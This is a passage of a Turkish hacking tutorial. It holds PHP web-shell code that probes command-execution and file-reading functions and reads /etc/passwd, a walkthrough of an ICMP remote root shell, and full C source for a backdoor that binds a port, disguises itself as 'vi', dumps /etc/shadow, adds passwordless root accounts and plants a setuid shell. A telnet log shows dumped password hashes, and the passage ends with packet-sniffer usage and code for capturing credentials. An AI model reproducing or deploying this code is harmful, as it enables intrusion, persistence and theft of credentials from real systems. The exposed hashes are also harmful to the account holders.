echo "<font color="green" size=2>[executable] "; } else { echo "<font color="red" size=2>[not executable]"; }
?></font>
<br>
<!-- read check -->
<? if ($P HPcheck->read_method) { $read_method = $P HPcheck->read_method; } else { $read_method = "file"; } ?>
<font size=2><a href="javascript:openw('<?=$P HP_SELF?>?action=read&method=<?=$read_method?>', 300, 500)">READ THRU P HP</a></font>
<?
if ($P HPcheck->read_method) {
echo "<font color="green" size=2>[executable] "; } else { echo "<font color="red" size=2>[not executable]"; }
?></font>
<br>
<!-- browse check -->
<?
//echo $P HPcheck->browse_state;
if ($P HPcheck->browse_state=="yes") { $path= "/"; } else { $path = getcwd(); } ?>
<font size=2><a href="javascript:openw('<?=$P HP_SELF?>?action=browse&dir=<?=$path?>', 300, 500)">BROWSE THRU P HP</a></font>
<?
if ($P HPcheck->browse_state=="yes") {
echo "<font color="green" size=2>[executable] "; } else { echo "<font color="yellow" size=2>[limited executable]"; }
?></font>
<br>
<!-- mysql check -->
<font size=2><a href="<?=$P HP_SELF?>?action=mysqlread&file=/etc/passwd">READ THRU MYSQL</a></font>
<?
if ($P HPcheck->mysql_state=="ok") {
echo "<font color="green" size=2>[executable] "; }
if ($P HPcheck->mysql_state=="fail") {
echo "<font color="red" size=2>[not executable] "; }
if ($P HPcheck->mysql_state=="pass") {
echo "<font color="yellow" size=2>[not executable] ";
?></font> <font size=1>[you didnt configure this]</font><font>
<?
} ?></font><?
}
?>
</body>
</html>
<?
// P HP security check objects by dodo
class P HP_check
{
function P HP_check($host="notset", $user="", $pass="", $db="") {
if ($host!="notset") {
$this->mysql_do = "yes";
$this->mysql_host = $host;
$this->mysql_user = $user;
$this->mysql_pass = $pass;
$this->mysql_db = $db;
} else { $this->mysql_do = "no"; }
$this->mainstate = "safe";
echo "<b>checking system functions:</b>n";
if ($this->system_checks("/bin/ls")) { $this->output_mainstate(1, "system checks"); } else { $this->output_mainstate(0, "system checks"); }
echo "<b>checking reading functions:</b>n";
if ($this->reading_checks()) { $this->output_mainstate(1, "reading checks"); } else { $this->output_mainstate(0, "reading checks"); }
echo "<b>checking misc filesystem functions:</b>n";
if ($this->miscfile_checks()) { $this->output_mainstate(1, "misc filesystem checks"); } else { $this->output_mainstate(0, "misc filesystem checks"); }
echo "<b>checking mysql functions:</b>n";
$stater = $this->mysql_checks();
if ($stater==2) { $this->output_mainstate(2, "mysql checks"); }
if ($stater==1) { $this->output_mainstate(1, "mysql checks"); }
if ($stater==0) { $this->output_mainstate(0, "mysql checks"); }
if ($this->mainstate=="safe") { echo "nnnP HP check returned: <font color=green>NOT VULNERABLE</font>n"; } else { echo "nnnP HP
check returned: <font color=red>VULNERABLE</font>n"; }
}
function output_state($state = 0, $name = "function") {
if ($state==0) {
echo "$namettfailedn";
}
if ($state==1) {
echo "$namett<font color=red>OK</font>n";
}
if ($state==2) {
echo "$namett<font color=yellow>OK</font>n";
}
if ($state==3) {
echo "$namett<font color=yellow>skipped</font>n";
}
}
function output_mainstate($state = 0, $name = "functions") {
if ($state==1) {
echo "n$name returned: <font color=red>VULNERABLE</font>nn";
$this->mainstate = "unsafe";
}
if ($state==0) {
echo "n$name returned: <font color=green>OK</font>nn";
$this->mainstate = "unsafe";
}
if ($state==2) {
echo "n$name returned: <font color=yellow>SKIPPED</font>nn";
}
}
function system_checks($cmd = "/bin/ls") {
if ($pp = popen($cmd, "r")) {
if (fread($pp, 2096)) {
$this->output_state(1, "popen ");
$sys = true;
} else {
$this->output_state(0, "popen ");
}
} else { $this->output_state(0, "popen "); }
if (@exec($cmd)) { $this->output_state(1, "exec "); $sys = true; $this->cmd_method = "exec"; } else { $this->output_state(0, "exec "); }
if (@shell_exec($cmd)) { $this->output_state(1, "shell_exec"); $sys = true; $this->cmd_method = "shel_exec"; } else { $this->output_state(0, "shell_exec"); }
echo "<!-- n";
if (@system($cmd)) { echo " -->"; $this->output_state(1, "system "); $ss = true; $sys = true; $this->cmd_method = "system"; } else { echo " -->"; $this->output_state(0, "system "); }
echo "<!-- n";
if (@passthru($cmd)) { echo " -->"; $this->output_state(1, "passthru"); $sys = true; $this->cmd_method = "passthru"; } else { echo " -->"; $this->output_state(0, "passthru"); }
//if ($output = `$cmd`)) { $this->output_state(1, "backtick"); $sys = true; } else { $this->output_state(0, "backtick"); }
if ($sys) { return 1; $this->cmd_state = "yes"; } else { return ; }
}
function reading_checks($file = "/etc/passwd") {
if (@function_exists("require_once")) {
echo "<!--";
if (@require_once($file)) { echo "-->"; $this->output_state(1, "require_once"); $sys = true; } else { echo "-->"; $this->output_state(0, "require_once"); }
}
if (@function_exists("require")) {
echo "<!--";
if (@require($file)) { echo "-->"; $this->output_state(1, "require "); $sys = true; } else { echo "-->"; $this->output_state(0, "require "); }
}
if (@function_exists("include")) {
echo "<!--";
if (@include($file)) { echo "-->"; $this->output_state(1, "include "); $sys = true; } else { echo "-->"; $this->output_state(0, "include "); }
}
//if (@function_exists("highlight_file")) {
echo "<!--";
if (@highlight_file($file)) { echo "-->"; $this->output_state(1, "highlight_file"); $sys = true; } else { echo "-->"; $this->output_state(0, "highlight_file"); }
//}
//if (@function_exists("virtual")) {
echo "<!--";
if (@virtual($file)) { echo "-->"; $this->output_state(1, "virtual "); $sys = true; } else { echo "-->"; $this->output_state(0, "virtual "); }
//}
if (@function_exists("file_get_contents")) {
if (@file_get_contents($file)) { $this->output_state(1, "filegetcontents"); $sys = true; } else { $this->output_state(0, "filegetcontents"); }
} else {
$this->output_state(0, "filegetcontents");
}
echo "<!-- ";
if (@show_source($file)) { echo " -->"; $this->output_state(1, "show_source"); $this->read_method = "show_source"; $sys = true; } else { echo " -->"; $this->output_state(0, "show_source"); }
echo "<!-- ";
if (@readfile($file)) { echo " -->"; $this->output_state(1, "readfile"); $this->read_method = "readfile"; $sys = true; } else { echo " -->"; $this->output_state(0, "readfile"); }
if (@fopen($file, "r")) { $this->output_state(1, "fopen "); $this->read_method = "fopen"; $sys = true; } else { $this->output_state(0, "fopen "); }
if (@file($file)) { $this->output_state(1, "file "); $this->read_method = "file"; $sys = true; } else { $this->output_state(0, "file "); }
if ($sys) { return 1; } else { return ; }
}
function miscfile_checks() {
$currentdir = @getcwd();
$scriptpath = $_SERVER["PATH_TRANSLATED"];
if (@opendir($currentdir)) {
$this->output_state(2, "opendir $cwd");
$dp = @opendir("$currentdir");
$files="";
$this->browse_state = "lim";
while($file = @readdir($dp)) { $files .= $file; }
if (@strstr($files, '.')) { $this->output_state(2, "readdir $cwd"); $this->browse_state = "lim"; } else { $this->output_state(0, "readdir $cwd"); }
} else { $this->output_state(0, "opendir $cwd"); }
if (@opendir("/")) {
$this->output_state(1, "opendir /");
$sys = true;
$dp = @opendir("/");
$this->browse_state = "yes";
$files="";
while($file = @readdir($dp)) { $files .= $file; }
if (@strstr($files, '.')) { $this->output_state(1, "readdir /"); $this->browse_state = "yes"; } else { $this->output_state(0, "readdir /"); }
} else { $this->output_state(0, "opendir /"); }
if (@mkdir("$currentdir/test", 0777)) { $this->output_state(1, "mkdir "); $sys = true; } else { $this->output_state(0, "mkdir "); }
if (@rmdir("$currentdir/test")) { $this->output_state(1, "rmdir "); $sys = true; } else { $this->output_state(0, "rmdir "); }
if (@copy($scriptpath, "$currentdir/copytest")) {
$this->output_state(2, "copy ");
$sys = true;
if (@unlink("$currentdir/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
} else {
$this->output_state(0, "copy ");
}
if (@copy($scriptpath, "/tmp/copytest")) {
$this->output_state(2, "copy2/tmp");
//$sys = true;
if (!$del) {
if (@unlink("tmp/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
}
} else {
$this->output_state(0, "copy2/tmp");
}
if (@link("/", "$currentdir/link2root")) {
$this->output_state(1, "link ");
$sys = true;
if (!$del) {
if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
}
} else {
$this->output_state(0, "link ");
}
if (@symlink("/", "$currentdir/link2root")) {
$this->output_state(1, "symlink ");
$sys = true;
if (!$del) {
if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
}
} else {
$this->output_state(0, "symlink ");
}
if ($sys) { return 1; } else { return ; }
}
function mysql_checks() {
if ($this->mysql_do=="yes") {
if (@mysql_pconnect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) {
$this->output_state(1, "mysql_pconnect"); $mstate = 1;
} else { $this->output_state(0, "mysql_pconnect"); $mstate = 0; }
} else { $this->output_state(3, "mysql_pconnect"); $mstate = 2; }
if ($this->mysql_do=="yes") {
if (@mysql_connect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) {
$this->output_state(1, "mysql_connect"); $mstate = 1;
} else { $this->output_state(0, "mysql_connect"); $mstate = 0; }
} else { $this->output_state(3, "mysql_connect"); $mstate = 2; }
if ($this->mysql_state=="fail") {
echo "nn<!-- MYSQL ERROR:n".mysql_error()."n-->nn";
echo "<script> alert("you have a mysql error:\n ".mysql_error()."\n\nbecause of this the mysql exploiting will be off"); </script>";
}
return $mstate;
}
}
class P HP_check_silent
{
function P HP_check_silent($host="notset", $username="", $pass="", $db="") {
if ($host!="notset") {
$this->mysql_do = "yes";
$this->mysql_host = $host;
$this->mysql_user = $username;
$this->mysql_pass = $pass;
$this->mysql_db = $db;
} else { $this->mysql_do = "no"; }
$this->mainstate = "safe";
if ($this->system_checks("/bin/ls")) { $this->output_mainstate(1, "system checks"); } else { $this->output_mainstate(0, "system checks"); }
if ($this->reading_checks()) { $this->output_mainstate(1, "reading checks"); } else { $this->output_mainstate(0, "reading checks"); }
if ($this->miscfile_checks()) { $this->output_mainstate(1, "misc filesystem checks"); } else { $this->output_mainstate(0, "misc filesystem checks"); }
$this->mysql_checks();
}
function output_state($state = 0, $name = "function") {
if ($state==0) {
//echo "$namettfailedn";
}
if ($state==1) {
//echo "$namett<font color=red>OK</font>n";
}
if ($state==2) {
//echo "$namett<font color=yellow>OK</font>n";
}
}
function output_mainstate($state = 0, $name = "functions") {
if ($state==1) {
//echo "n$name returned: <font color=red>VULNERABLE</font>nn";
$this->mainstate = "unsafe";
} else {
//echo "n$name returned: <font color=green>OK</font>nn";
}
}
function system_checks($cmd = "/bin/ls") {
if ($pp = popen($cmd, "r")) {
if (fread($pp, 2096)) {
$this->output_state(1, "popen ");
$sys = true;
} else {
$this->output_state(0, "popen ");
}
} else { $this->output_state(0, "popen "); }
if (@exec($cmd)) { $this->output_state(1, "exec "); $sys = true; $this->cmd_method = "exec"; } else { $this->output_state(0, "exec "); }
if (@shell_exec($cmd)) { $this->output_state(1, "shell_exec"); $sys = true; $this->cmd_method = "shel_exec"; } else { $this->output_state(0, "shell_exec"); }
echo "<!-- ";
if (@passthru($cmd)) { echo " -->"; $this->output_state(1, "passthru"); $sys = true; $this->cmd_method = "passthru"; } else { echo " -->"; $this->output_state(0, "passthru"); }
echo "<!-- ";
if (@system($cmd)) { echo " -->"; $this->output_state(1, "system "); $sys = true; $this->cmd_method = "system"; } else { echo " -->"; $this->output_state(0, "system "); }
//if ($output = `$cmd`)) { $this->output_state(1, "backtick"); $sys = true; } else { $this->output_state(0, "backtick"); }
if ($sys) { return 1; $this->cmd_state = "yes"; } else { return ; }
}
function reading_checks($file = "/etc/passwd") {
if (@function_exists("require_once")) {
if (@require_once($file)) { $this->output_state(1, "require_once"); $sys = true; } else { $this->output_state(0, "require_once"); }
}
if (@function_exists("require")) {
if (@require($file)) { $this->output_state(1, "require"); $sys = true; } else { $this->output_state(0, "require"); }
}
if (@function_exists("include")) {
if (@include($file)) { $this->output_state(1, "include "); $sys = true; } else { $this->output_state(0, "include "); }
}
if (@function_exists("file_get_contents")) {
if (@file_get_contents($file)) { $this->output_state(1, "filegetcontents"); $sys = true; } else { $this->output_state(0, "filegetcontents"); }
} else {
$this->output_state(0, "filegetcontents");
}
echo "<!-- ";
if (@show_source($file)) { echo " -->"; $this->output_state(1, "show_source"); $this->read_method = "show_source"; $sys = true; } else { echo " -->"; $this->output_state(0, "show_source"); }
echo "<!-- ";
if (@readfile($file)) { echo " -->"; $this->output_state(1, "readfile"); $this->read_method = "readfile"; $sys = true; } else { echo " -->"; $this->output_state(0, "readfile"); }
if (@fopen($file, "r")) { $this->output_state(1, "fopen "); $this->read_method = "fopen"; $sys = true; } else { $this->output_state(0, "fopen "); }
if (@file($file)) { $this->output_state(1, "file "); $this->read_method = "file"; $sys = true; } else { $this->output_state(0, "file "); }
if ($sys) { return 1; } else { return ; }
}
function miscfile_checks() {
$currentdir = @getcwd();
$scriptpath = $_SERVER["PATH_TRANSLATED"];
if (@opendir($currentdir)) {
$this->output_state(2, "opendir $cwd");
$dp = @opendir("$currentdir");
$files="";
$this->browse_state = "lim";
while($file = @readdir($dp)) { $files .= $file; }
if (@strstr($files, '.')) { $this->output_state(2, "readdir $cwd"); $this->browse_state = "lim"; } else { $this->output_state(0, "readdir $cwd"); }
} else { $this->output_state(0, "opendir $cwd"); }
if (@opendir("/")) {
$this->output_state(1, "opendir /");
$sys = true;
$dp = @opendir("/");
$this->browse_state = "yes";
$files="";
while($file = @readdir($dp)) { $files .= $file; }
if (@strstr($files, '.')) { $this->output_state(1, "readdir /"); $this->browse_state = "yes"; } else { $this->output_state(0, "readdir /"); }
} else { $this->output_state(0, "opendir /"); }
if (@mkdir("$currentdir/test", 0777)) { $this->output_state(1, "mkdir "); $sys = true; } else { $this->output_state(0, "mkdir "); }
if (@rmdir("$currentdir/test")) { $this->output_state(1, "rmdir "); $sys = true; } else { $this->output_state(0, "rmdir "); }
if (@copy($scriptpath, "$currentdir/copytest")) {
$this->output_state(2, "copy ");
$sys = true;
if (@unlink("$currentdir/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
} else {
$this->output_state(0, "copy ");
}
if (@copy($scriptpath, "/tmp/copytest")) {
$this->output_state(2, "copy2/tmp");
//$sys = true;
if (!$del) {
if (@unlink("tmp/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
}
} else {
$this->output_state(0, "copy2/tmp");
}
if (@link("/", "$currentdir/link2root")) {
$this->output_state(1, "link ");
$sys = true;
if (!$del) {
if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
}
} else {
$this->output_state(0, "link ");
}
if (@symlink("/", "$currentdir/link2root")) {
$this->output_state(1, "symlink ");
$sys = true;
if (!$del) {
if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
}
} else {
$this->output_state(0, "symlink ");
}
if ($sys) { return 1; } else { return ; }
}
function mysql_checks() {
if ($this->mysql_do=="yes") {
if (@mysql_pconnect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) {
$this->output_state(1, "mysql_pconnect"); $mstate = 1; $this->mysql_state = "ok";
} else { $this->output_state(0, "mysql_pconnect"); $mstate = 0; $this->mysql_state = "fail"; }
} else { $this->output_state(3, "mysql_pconnect"); $mstate = 2; $this->mysql_state = "pass"; }
if ($this->mysql_do=="yes") {
if (@mysql_connect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) {
$this->output_state(1, "mysql_connect"); $mstate = 1; $this->mysql_state = "ok";
} else { $this->output_state(0, "mysql_connect"); $mstate = 0; $this->mysql_state = "fail"; }
} else { $this->output_state(3, "mysql_connect"); $mstate = 2; $this->mysql_state = "pass"; }
if ($this->mysql_state=="fail") {
echo "<!-- MYSQL ERROR:n".mysql_error()."n-->";
echo "<script> alert("you have a mysql error:\n ".mysql_error()."\n\nbecause of this the mysql exploiting will be off"); </script>";
}
return $mstate;
}
}
// the end :]
?>
Aşağıdaki resimler bu .P HP exploitinin kullanımı sonucunu gösteren örnek resimlerdir.
Backdoor (Arka kapı) herzaman sistemler üzerinde tehlike arzedecek araçlardır. Bir sisteme giren saldırganın backdoor yaratarak tekrar aynı sisteme girmesi kaçınılmazdır.
ICMP Shell, C programla dili ile yazılan uzaktan sisteme kontrol izni veren bir yazılımdır.
Yazılım iki kısımdan oluşmaktadır. Arka planda çalışarak sisteme giriş izni veren server kısmı ve icmp shell kurulu sistemi kontrol etmeye yarayacak olan istemci kısmı. Öncelikle sisteme gelen istekleri değerlendirecek olan kısmı yani arka planda çalışacak olan bölüm çalıştırılır.
[root@localhost ISHELL-v0.2]# ./ishd -i 1000
Bu şekilde icmp shell istemci kısmı ile gelen istekler değerlendirilir. Artık sisteme icmp shell istemci kısmı ile sistem kontrol altına alınır.
[root@localhost ISHELL-v0.2]# ./ish -i 1000 xxx.net
ICMP Shell v0.2 (client) - by: Peter Kieltyka
--------------------------------------------------
Connecting to xxx.net...done.
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ls -la
total 164
drwxr-xr-x 20 root root 4096 Sep 20 23:17 .
drwxr-xr-x 20 root root 4096 Sep 20 23:17 ..
-rw-r--r-- 1 root root 0 Sep 20 23:17 .autofsck
drwxr-xr-x 2 root root 4096 Sep 20 03:01 bin
drwxrwxrwx 3 root root 4096 Sep 18 19:30 BoF
drwxr-xr-x 7 root root 4096 Sep 20 23:18 boot
drwxr-xr-x 15 root root 90112 Sep 20 23:18 dev
drwxr-xr-x 56 root root 4096 Sep 20 23:22 etc
drwx------ 2 root root 4096 Sep 6 01:33 .gconfd
drwxr-xr-x 16 root root 4096 Sep 20 03:34 home
drwxr-xr-x 2 root root 4096 Sep 5 23:56 initrd
drwxr-xr-x 7 root root 4096 Sep 8 01:31 lib
drwxr-xr-x 5 root root 4096 Sep 20 23:37 LoG
drwxr-xr-x 7 root root 4096 Sep 6 01:31 mnt
drwxr-xr-x 2 root root 4096 Aug 23 1999 opt
dr-xr-xr-x 101 root root 0 Sep 21 2002 proc
drwx------ 24 root root 4096 Sep 20 23:37 root
drwxr-xr-x 2 root root 4096 Sep 6 01:37 sbin
drwxrwxrwt 10 root root 4096 Sep 20 23:40 tmp
drwxr-xr-x 13 root root 4096 Sep 20 03:40 usr
drwxr-xr-x 20 root root 4096 Sep 11 23:33 var
Ayrıca ISH Detection Tool yardımıyla sisteminize icmp_shell aracının kurulu olup olmadığını anlayabilirsiniz.
/* örnek bir backdoor. menu.c */
#include
#include
/* reply lines */
#define ERR_1 "n can't open passwd file n"
#define ERR_2 "n can't create root shell n"
#define NOT_1 "n add 2 users, rewt as root and zero as user n"
#define NOT_2 "n rootshell wait ya at /tmp/x n"
/* commands per user */
#define QLEN 20
/* menu lines */
#define LINE_1 "----- ----- ----- -----n"
#define CMDL_1 "| (1). print passwd |n"
#define CMDL_2 "| (2). hack passwd |n"
#define CMDL_3 "| (3). dump root sh |n"
#define CMDL_4 "| (4). reboot signal |n"
#define CMDL_5 "| (5). disconnect |n"
#define CMDL_6 "| (?). refresh menu |n"
#define LINE_2 "----- ----- ----- -----n"
#define PROMPT "[root@menu /main]# "
/* paths */
#define SHADOW_PWD "/etc/shadow"
#define NORMAL_PWD "/etc/passwd"
/* make it look like */
#define MASKAS "vi "
char menu_prompt(int sock) {
fd_set rd;
int max = sock + 1, i = 1;
char c;
while (i > 0) {
FD_ZERO(&rd);
FD_SET(sock, &rd);
FD_SET(0, &rd);
select(max, &rd, (fd_set *) 0, (fd_set *) 0, (struct timeval *)0);
if (FD_ISSET(sock, &rd)) {
i = read(sock, &c, 1);
return c;
}
}
};
void rootsh(int sock) {
FILE *fd;
system("cp /bin/sh /tmp/x >> /dev/null");
system("chmod 777 /tmp/x >> /dev/null");
system("chmod +s /tmp/x >> /dev/null");
fd = fopen("/tmp/x","r");
if (fd == NULL) { write(sock, ERR_2, strlen(ERR_2)); usleep(1000000); }
else { write(sock, NOT_2, strlen(NOT_2)); usleep(1000000); }
}
void ppasswd(int sock, char *passfile) {
FILE *fd;
char c;
fd = fopen(passfile,"r");
if (fd == NULL) { write(sock, ERR_1, strlen(ERR_1)); usleep(1000000); }
write(sock, "n", strlen("n"));
while (0 == feof(fd)) { c = getc(fd); write(sock, &c, 1); }
usleep(1000000);
};
void ppecho(int sock, char *passfile) {
FILE *fd;
char string[200];
fd = fopen(passfile,"r");
if (fd == NULL) { write(sock, ERR_1, strlen(ERR_1)); usleep(1000000); }
bzero(string, sizeof(string));
sprintf(string, "echo rewt::0:0:rewt:/tmp:/bin/bash >> %s",passfile);
system(string);
bzero(string, sizeof(string));
sprintf(string, "echo zero::1:1:zero rewt:/tmp:/bin/bash >> %s",passfile);
system(string);
bzero(string, sizeof(string));
write(sock, NOT_1, strlen(NOT_1));
usleep(1000000);
};
void display_menu(int sock) {
write(sock, " ", strlen(" "));
write(sock, "n", strlen("n"));
write(sock, LINE_1, strlen(LINE_1));
write(sock, CMDL_1, strlen(CMDL_1));
write(sock, CMDL_2, strlen(CMDL_2));
write(sock, CMDL_3, strlen(CMDL_3));
write(sock, CMDL_4, strlen(CMDL_4));
write(sock, CMDL_5, strlen(CMDL_5));
write(sock, CMDL_6, strlen(CMDL_6));
write(sock, LINE_2, strlen(LINE_2));
write(sock, PROMPT, strlen(PROMPT));
};
int main(argc,argv)
int argc;
char **argv;
{
int sock, adrlen, nsock, port, i;
struct sockaddr_in sin;
char *passfile, c;
if (argc < 2) {
printf("menu.c, code by izik [as inet menu]n");
printf("usage: %s <port>n",argv[0]);
exit(-1);
}
port = atoi(argv[1]);
if (geteuid()) {
printf("run this as root, or else it's worthlessn");
exit(-1);
}
strcpy(argv[0], MASKAS);
strcpy(argv[1], " ");
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
exit(-1);
}
bzero((char *) &sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
adrlen = sizeof(sin);
if (bind(sock, (struct sockaddr *) &sin, adrlen) < 0) {
perror("bind");
exit(-1);
}
if (access(SHADOW_PWD,F_OK) < 0) { passfile = NORMAL_PWD; }
else { passfile = SHADOW_PWD; }
if (listen(sock, QLEN) < 0) {
perror("listen");
exit(-1);
}
if (fork()) { exit(-1); }
new:
nsock = accept(sock, (struct sockaddr *) &sin, &adrlen);
if (nsock < 0) {
perror("accept");
close(sock);
exit(-1);
}
display_menu(nsock);
while(1) {
c = menu_prompt(nsock);
switch(c) {
case '?': display_menu(nsock); break;
case '5': close(nsock); goto new; break;
case '4': system("reboot >> /dev/null"); break;
case '3': rootsh(nsock); display_menu(nsock); break;
case '2': ppecho(nsock, passfile); display_menu(nsock); break;
case '1': ppasswd(nsock, passfile); display_menu(nsock); break;
}
}
close(nsock);
close(sock);
exit(1);
}
Yukarıdaki C kodunu kullanarak sisteme tekrar girmek, bir saldırgan için zor değildir. Kodun iki türlü kullanımı vardır. Saldırgan önce bu kodla sisteme tekrar girmek için açık bir port yaratır. Sonra başka bir linux sistemden aynı kodu kullanarak arka kapı yarattığı sisteme girer.
[root@eregli LoG]# ./menu
menu.c, code by izik [as inet menu]
usage: ./menu <port>
[root@eregli LoG]#./menu 55555 <---- 55555 numaralı port açılıyor
[root@eregli LoG]#
[root@saldirgan /]# telnet kurban_sunucu 55555Trying kurban_sunucu...Connected to kurban_sunucu (xxx.xxx.xxx.xxx).Escape character is '^]'.----- ----- ----- -----| (1). print passwd || (2). hack passwd || (3). dump root sh || (4). reboot signal || (5). disconnect || (?). refresh menu |----- ----- ----- -----[root@menu /main]# 1....goldfish:$Kkj4h847zYsgjQpa30i84/:11948:0:99999:7:-1:-1:1080781054karadeniz:IuIws7SlUKujxN3AahchZ.:11948:0:99999:7:-1:-1:1080781054taci:$1$Q5KUYK.w2HEbgovNv0:11948:0:99999:7:-1:-1:1080781054rapor:$1$Eq9zz9h0fevBKcw8F1:11948:0:99999:7:-1:-1:1080785150fizik:$1$iAAo9fzX0OUlqiKxxK0:11948:0:99999:7:-1:-1:1080789246prof5:$1$bmfqnsI.y7dH72n0:11948:0:99999:7:-1:-1:1081448702prof6:$1$jXCWNb3SvtNKu3/:11948:0:99999:7:-1:-1:1081448702erdemir:$1VntHrENMirpQ8op/:11948:0:99999:7:-1:-1:1081448702class:$1$k1S4l.3MgI0WijP3k0:11948:0:99999:7:-1:-1:1081448702kimya:$1$/2GgN2pJL5s7w.:11948:0:99999:7:-1:-1:1081448702departman.b:PQX$gvSNzxgnn4AwYWQNnAudS0:11948:0:99999:7:-1:-1:1081452798departman.a:mMHJIpuV5eEWPWoflcB8X/:11948:0:99999:7:-1:-1:1081547006...----- ----- ----- -----| (1). print passwd || (2). hack passwd || (3). dump root sh || (4). reboot signal || (5). disconnect || (?). refresh menu |----- ----- ----- -----[root@menu /main]#
Sunucu trafiğinde neler olup bittiğini merak ediyor musunuz? Şu kesindir ki, sunucu trafiğini sistemdeki istenmeyen misafir sizden daha çok merak edecektir. Bu nedenle ağda dolaşan paketlerin içinden şifreleri araklamak için sisteme sniffer yerleştirir. Ağınızda dolaşıp duran paketleri izlemek için aşağıda verilen tcpshow isimli kodu tcpdump ile birlikte kullanabilirsiniz. Örnek kullanım:
[root@eregli LoG]# tcpdump -s 1500 -lenx -i eth0 | ./tcpshow -cooked -data
x.x.x.x.32774 -> y.y.y.y.telnet over TCP
.OA
-----------------------------------------------------------------
x.x.x.x.telnet -> y.y.y.y.32774 over TCP
..[cilek@eregli cilek]$ exit.[K
-----------------------------------------------------------------
x.x.x.x.32774 -> y.y.y.y.telnet over TCP
<No data>
-----------------------------------------------------------------
x.x.x.x.32774 -> y.y.y.y.telnet over TCP
.OA
-----------------------------------------------------------------
x.x.x.x.telnet -> y.y.y.y.32774 over TCP
..[cilek@eregli cilek]$ exit
-----------------------------------------------------------------
[root@localhost LoG]# tcpdump -s 1500 -lenx -i eth0 | ./tcpshow -cooked
Packet 390
Timestamp: 02:05:03.921384
Source Ethernet Address: xx:xx:xx:xx:xx:x
Destination Ethernet Address: yy:yy:yy:yy:yy:y
Encapsulated Protocol: IP
IP Header
Version: 4
Header Length: 20 bytes
Service Type: 0x10
Datagram Length: 86 bytes
Identification: 0xE82A
Flags: MF=off, DF=on
Fragment Offset: 0
TTL: 64
Encapsulated Protocol: TCP
Header Checksum: 0x5465
Source IP Address: xxx.xxx.xxx.xxx
Destination IP Address: yyy.yyy.yyy.yyy
TCP Header
Source Port: 23 (telnet)
Destination Port: 32775 (<unknown>)
Sequence Number: 2752106479
Acknowledgement Number: 2761455459
Header Length: 32 bytes (data=34)
Flags: URG=off, ACK=on, PSH=on
RST=off, SYN=off, FIN=off
Window Advertisement: 32767 bytes
Checksum: 0xE08C
Urgent Pointer: 0
<Options not displayed>
TCP Data
..[cilek@ereğli cilek]$ exit.[K
/* tcpshow.c */
#if !defined(MAY_NOT_MODIFY)
/****==========------------------------------------------------==========****/
/* tcpshow, v1.0 */
/* Quickie to decode a "tcpdump" savefile. */
/* ------------------------------------------------------------------------ */
/* Copyright (c) 1996 I.T. NetworX Ltd. All rights reserved. */
/* Compiles as follows: */
/* cc -s -O -o tcpshow tcpshow.c */
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <netdb.h>
#include <setjmp.h>
#if defined(FALSE)
#undef FALSE
#endif
#if defined(TRUE)
#undef TRUE
#endif
#define FALSE (boolean)0
#define TRUE (boolean)1
#define elif else if
#if !defined(reg)
#define reg register /* For debugging purposes */
#endif
#define VERSION 1.0 /* Please change when appropriate */
#define COOKER "tcpdump"
#define MAXCOOKARGS 100 /* Max tcpdump expression words */
#define MAXPKT 10240 /* Should be 1518 for Ethernet */
#define NCOLS 60
/* IP header elements. */
#define IPHDRLEN 20
#define FRAGOFF 0x1FFF
#define MF 0x2000
#define DF 0x4000
/* TCP header elements. */
#define TCPHDRLEN 20
#define URG 0x0020
#define ACK 0x0010
#define PSH 0x0008
#define RST 0x0004
#define SYN 0x0002
#define FIN 0x0001
/* UDP header elements. */
#define UDPHDRLEN 8
/* ICMP header elements. */
#define ICMPHDRLEN 4
/* IP protocol types. */
#define IP 0
#define ICMP 1
#define IGMP 2
#define GGP 3
#define IPENCAP 4
#define ST 5
#define TCP 6
#define EGP 8
#define PUP 12
#define UDP 17
#define HMP 20
#define XNSIDP 22
#define RDP 27
#define ISOTP4 29
#define XTP 36
#define IDPRCMTP 39
#define RSVP 46
#define VMTP 81
#define OSPF 89
#define IPIP 94
#define ENCAP 98
/* ICMP types. */
#define ECHO_REPLY 0
#define DST_UNREACH 3
#define SRC_QUENCH 4
#define REDIRECT 5
#define ECHO_REQ 8
#define ROUTER_AD 9
#define ROUTER_SOL 10
#define TIME_EXCEED 11
#define PARAM_PROB 12
#define TIME_REQ 13
#define TIME_REPLY 14
#define INFO_REQ 15
#define INFO_REPLY 16
#define MASK_REQ 17
#define MASK_REPLY 18
/* ICMP codes for type == Destination Unreachable. */
#define NET_UNREACH 0
#define HOST_UNREACH 1
#define PROTO_UNREACH 2
#define PORT_UNREACH 3
#define DF_SET 4
#define SRCROUTE_FAILED 5
#define DSTNET_UNKNOWN 6
#define DSTHOST_UNKNOWN 7
#define SRCHOST_ISOLATED 8
#define DSTNET_PROHIB 9
#define DSTHOST_PROHIB 10
#define NET_UNREACH_TOS 11
#define HOST_UNREACH_TOS 12
#define COMM_PROHIB 13
#define HOST_PREC_VIOL 14
#define PREC_CUTOFF 15
/* ICMP codes for type == Redirect. */
#define REDIR_FOR_NET 0
#define REDIR_FOR_HOST 1
#define REDIR_FOR_TOSNET 2
#define REDIR_FOR_TOSHOST 3
/* ICMP codes for type == Time Exceeded. */
#define TTL_ZERO 0
#define REASS_TIMEOUT 1
/* ICMP codes for type == Parameter Problem. */
#define IP_HDR_BAD 0
#define MISSING_OPT 1
